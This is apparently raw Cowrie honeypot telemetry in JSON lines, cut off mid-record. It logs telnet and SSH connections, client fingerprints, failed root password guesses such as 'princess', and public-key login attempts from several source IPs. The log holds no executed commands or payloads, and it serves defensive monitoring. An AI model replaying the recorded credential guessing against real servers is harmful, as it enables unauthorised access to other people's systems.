{"eventid":"cowrie.session.closed","duration":19.638612031936646,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:52.767825Z","src_ip":"152.42.224.71","session":"13a9e80287c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7490451335907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:53.153208Z","src_ip":"152.42.224.71","session":"90fea118caeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.10145163536072,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:53.769678Z","src_ip":"152.42.224.71","session":"febc650f38e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.60694646835327,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:55.413430Z","src_ip":"152.42.224.71","session":"35dc3e79779e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd51f36f6a78","protocol":"telnet","message":"New connection: 152.42.224.71:44090 (10.17.0.5:23) [session: bd51f36f6a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:56.836989Z"}
{"eventid":"cowrie.session.closed","duration":52.55627751350403,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:57.104495Z","src_ip":"152.42.224.71","session":"5a44276a2486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44094,"dst_ip":"10.17.0.5","dst_port":23,"session":"160c4df8a8fb","protocol":"telnet","message":"New connection: 152.42.224.71:44094 (10.17.0.5:23) [session: 160c4df8a8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:57.413802Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4626af21dac1","protocol":"ssh","message":"New connection: 103.176.20.57:60130 (159.203.135.109:22) [session: 4626af21dac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:59.027799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:59.033416Z","src_ip":"103.176.20.57","session":"4626af21dac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:19:59.291570Z","src_ip":"103.176.20.57","session":"4626af21dac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"?????","message":"login attempt [root/?????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:00.059353Z","src_ip":"103.176.20.57","session":"4626af21dac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:01.324700Z","src_ip":"103.176.20.57","session":"4626af21dac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44110,"dst_ip":"10.17.0.5","dst_port":23,"session":"375aa06bd086","protocol":"telnet","message":"New connection: 152.42.224.71:44110 (10.17.0.5:23) [session: 375aa06bd086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:01.891972Z"}
{"eventid":"cowrie.session.closed","duration":53.426607847213745,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:04.445090Z","src_ip":"152.42.224.71","session":"91fa5d2ac764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93248176574707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:06.077122Z","src_ip":"146.19.210.8","session":"5a409edf735d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.86519956588745,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:09.992254Z","src_ip":"152.42.224.71","session":"05e94d052280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.251.243.156","src_port":48623,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e5ae2a563e","protocol":"telnet","message":"New connection: 213.251.243.156:48623 (10.17.0.5:23) [session: 90e5ae2a563e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:12.062895Z"}
{"eventid":"cowrie.session.closed","duration":48.37822222709656,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:13.140651Z","src_ip":"152.42.224.71","session":"2e4541ed2137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.45256280899048,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:16.365672Z","src_ip":"152.42.224.71","session":"59f8ebcaa71a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23152780532837,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:17.947937Z","src_ip":"152.42.224.71","session":"39696140a769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e781613640a","protocol":"telnet","message":"New connection: 152.42.224.71:58064 (10.17.0.5:23) [session: 0e781613640a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.033947Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58922,"dst_ip":"159.203.135.109","dst_port":22,"session":"896b9beb7790","protocol":"ssh","message":"New connection: 103.98.149.87:58922 (159.203.135.109:22) [session: 896b9beb7790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.431368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.457396Z","src_ip":"103.98.149.87","session":"896b9beb7790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.52979063987732,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.577401Z","src_ip":"152.42.224.71","session":"62d0a7879d39","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.672741Z","src_ip":"103.98.149.87","session":"896b9beb7790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.351726531982422,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:18.794261Z","src_ip":"152.42.224.71","session":"94e9929e4d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185823440552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:19.250506Z","src_ip":"152.42.224.71","session":"2cb25838341e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.56493520736694,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:19.269805Z","src_ip":"152.42.224.71","session":"ad10483385e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"princess","message":"login attempt [root/princess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:19.653281Z","src_ip":"103.98.149.87","session":"896b9beb7790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.375351667404175,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:19.729566Z","src_ip":"152.42.224.71","session":"c5862048eb3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58068,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d8bf567465","protocol":"telnet","message":"New connection: 152.42.224.71:58068 (10.17.0.5:23) [session: 02d8bf567465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:20.868647Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:20.919271Z","src_ip":"103.98.149.87","session":"896b9beb7790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":59254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f7f340d8db4","protocol":"ssh","message":"New connection: 47.237.167.49:59254 (159.203.135.109:22) [session: 6f7f340d8db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:22.799563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:23.790962Z","src_ip":"47.237.167.49","session":"6f7f340d8db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:23.796271Z","src_ip":"47.237.167.49","session":"6f7f340d8db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.869743585586548,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:24.932520Z","src_ip":"213.251.243.156","session":"90e5ae2a563e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.85302996635437,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:27.973852Z","src_ip":"152.42.224.71","session":"faa98422b7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48686,"dst_ip":"10.17.0.5","dst_port":23,"session":"21cd6ced0b90","protocol":"telnet","message":"New connection: 152.42.224.71:48686 (10.17.0.5:23) [session: 21cd6ced0b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:28.409606Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48700,"dst_ip":"10.17.0.5","dst_port":23,"session":"3585dcd91878","protocol":"telnet","message":"New connection: 152.42.224.71:48700 (10.17.0.5:23) [session: 3585dcd91878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.427418Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.251","src_port":43348,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6df733e11ff","protocol":"ssh","message":"New connection: 185.255.100.251:43348 (10.17.0.5:22) [session: c6df733e11ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.644457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.649642Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.659240Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:85:30:d0:d7:36:0c:01:38:ac:99:dc:c7:4e:a3:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMk3WzaQ8K0T69ylkP7AWMJVj5VcSEwrQCsLmTmnzos6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:85:30:d0:d7:36:0c:01:38:ac:99:dc:c7:4e:a3:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.676512Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:85:30:d0:d7:36:0c:01:38:ac:99:dc:c7:4e:a3:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMk3WzaQ8K0T69ylkP7AWMJVj5VcSEwrQCsLmTmnzos6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.680548Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:01:bc:00:af:91:fa:b3:fd:db:25:2b:57:b6:7c:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvHshaQtr55BfFJfHx5TJoEwbgj9GoxNAQIXLy+IXzACpB09CwVUP+hOQE8z75aPl7nwYfZYasLXAaMku3OeVL48OBlkq7/CKdVN+mcMz7PfxP6gHK+a0DNj2iZ9yumRMGj7AqGozDiFNnRYqMas0FcJ5JFZlg09RhzC2PdvGU9uAZAB+eFZ+T1c8O0BurTiXqk1Ui6csnYgvyL4HeaFCtKX0ysH2zFliuYcvFnYctOAIKNY0I0TBCMRwM3tKt1t/5VsmItIHCnBQ+N+FkpeLesCaeEp1l6foXFdSbz1HZIFdIZ8366KdQb4A34OHkvrdjnY2oVy1vhI1aXb8UfLr1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:01:bc:00:af:91:fa:b3:fd:db:25:2b:57:b6:7c:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.688810Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:01:bc:00:af:91:fa:b3:fd:db:25:2b:57:b6:7c:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvHshaQtr55BfFJfHx5TJoEwbgj9GoxNAQIXLy+IXzACpB09CwVUP+hOQE8z75aPl7nwYfZYasLXAaMku3OeVL48OBlkq7/CKdVN+mcMz7PfxP6gHK+a0DNj2iZ9yumRMGj7AqGozDiFNnRYqMas0FcJ5JFZlg09RhzC2PdvGU9uAZAB+eFZ+T1c8O0BurTiXqk1Ui6csnYgvyL4HeaFCtKX0ysH2zFliuYcvFnYctOAIKNY0I0TBCMRwM3tKt1t/5VsmItIHCnBQ+N+FkpeLesCaeEp1l6foXFdSbz1HZIFdIZ8366KdQb4A34OHkvrdjnY2oVy1vhI1aXb8UfLr1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.692694Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:88:2f:25:14:55:9c:4b:5a:0b:d7:ee:1b:26:ea:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR8mp6F1hkNBlZ86YMGx69x3X3Euz2td1CV2T73CDTvct7ycCdnrCi6Xc6bcH/9Ax9DTPK9RwOrg33+BstOvUVDnwPqHXjnARhFzC2w8C8hh27gpRFt2UmB+D7kuNdzwHFJ5el5PP7roPS0xeoVPiDQ92r3LWZdbGCOCP4sNCb/6ofB/KlkQyfGfQWi7AJeewZrMgxKvYe1O7OYxZV0MalLWycJ1W46V1mYQsAhpPjB7ONMMjf07S1LB0qCCSxOTiLi8qQ4caAGkw2APZezLvXKsbGbrmn5zAWqVOxIRHheSmlqDYK3ltdJgxOgzFq4z+LJ0SfgBtVKmUyQwL1/6Jz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:88:2f:25:14:55:9c:4b:5a:0b:d7:ee:1b:26:ea:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.700439Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:88:2f:25:14:55:9c:4b:5a:0b:d7:ee:1b:26:ea:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR8mp6F1hkNBlZ86YMGx69x3X3Euz2td1CV2T73CDTvct7ycCdnrCi6Xc6bcH/9Ax9DTPK9RwOrg33+BstOvUVDnwPqHXjnARhFzC2w8C8hh27gpRFt2UmB+D7kuNdzwHFJ5el5PP7roPS0xeoVPiDQ92r3LWZdbGCOCP4sNCb/6ofB/KlkQyfGfQWi7AJeewZrMgxKvYe1O7OYxZV0MalLWycJ1W46V1mYQsAhpPjB7ONMMjf07S1LB0qCCSxOTiLi8qQ4caAGkw2APZezLvXKsbGbrmn5zAWqVOxIRHheSmlqDYK3ltdJgxOgzFq4z+LJ0SfgBtVKmUyQwL1/6Jz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:20:29.705600Z","src_ip":"185.255.100.251","session":"c6df733e11ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:08:0c:bf:ba:73:96:da:2e:ee:f6:28:b9:ac:1a:a2","key":"ssh-rsa 